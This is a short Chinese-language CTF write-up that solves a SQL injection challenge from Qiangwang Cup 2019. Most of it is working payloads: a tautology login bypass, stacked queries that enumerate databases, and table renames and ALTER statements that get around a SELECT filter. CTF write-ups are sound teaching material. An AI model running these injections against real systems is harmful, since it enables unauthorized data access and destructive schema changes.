[強網杯 2019]隨便注 1
萬能密碼上一波,回顯成功,判斷為 ' 閉合注入
?inject=1' or 1=1 --+
( ?inject=1 union select 1,2,3 )union嘗試,根據回顯,發現存在欄位過濾,過濾了select包括where等操作
/select|update|delete|drop|insert|where|\./i
嘗試閉合堆疊
?inject=1';show databases;
堆疊回顯成功,並注意到資料庫 ctftraining
查詢資料表
?inject=1';show databases;use ctftraining;show tables;
查詢FLAG_TABLE表欄位,顯示not_flag,查詢news和users皆無果,說明flag不在這個庫,轉向 supersqli
?inject=1';show databases;use ctftraining;show tables;show columns from FLAG_TABLE;
發現兩個庫
1';show databases;use supersqli;show tables;
查詢1919810931114514庫,發現flag,但是未顯示flag
1';show databases;use supersqli;show tables;show columns from `1919810931114514`;
這時候需要用到select,但是被過濾了,所以選擇用換表的方式,用輸入框幫忙查
1';show databases;use supersqli;show tables;show columns from `1919810931114514`;
rename table words to abc; 修改原來的words為任意名
rename `1919810931114514` to words; 將1919810931114514代替成words
ALTER TABLE words ADD id int(10) DEFAULT '12'; 往新words新增id欄位(因為1919810931114514沒有id欄位,不新增查詢出錯)
ALTER TABLE words CHANGE flag data VARCHAR(100);
show tables;
構造payload
1';rename table words to abc;rename table `1919810931114514` to words;ALTER TABLE words ADD id int(10) DEFAULT '12';ALTER TABLE words CHANGE flag data VARCHAR(100);show tables;
!!!這邊資料庫語句一定要注意大小寫,很邪門,小寫報錯
成功顯示出資料表資訊
萬能密碼伺候
1' or 1=1;
成功拿到flag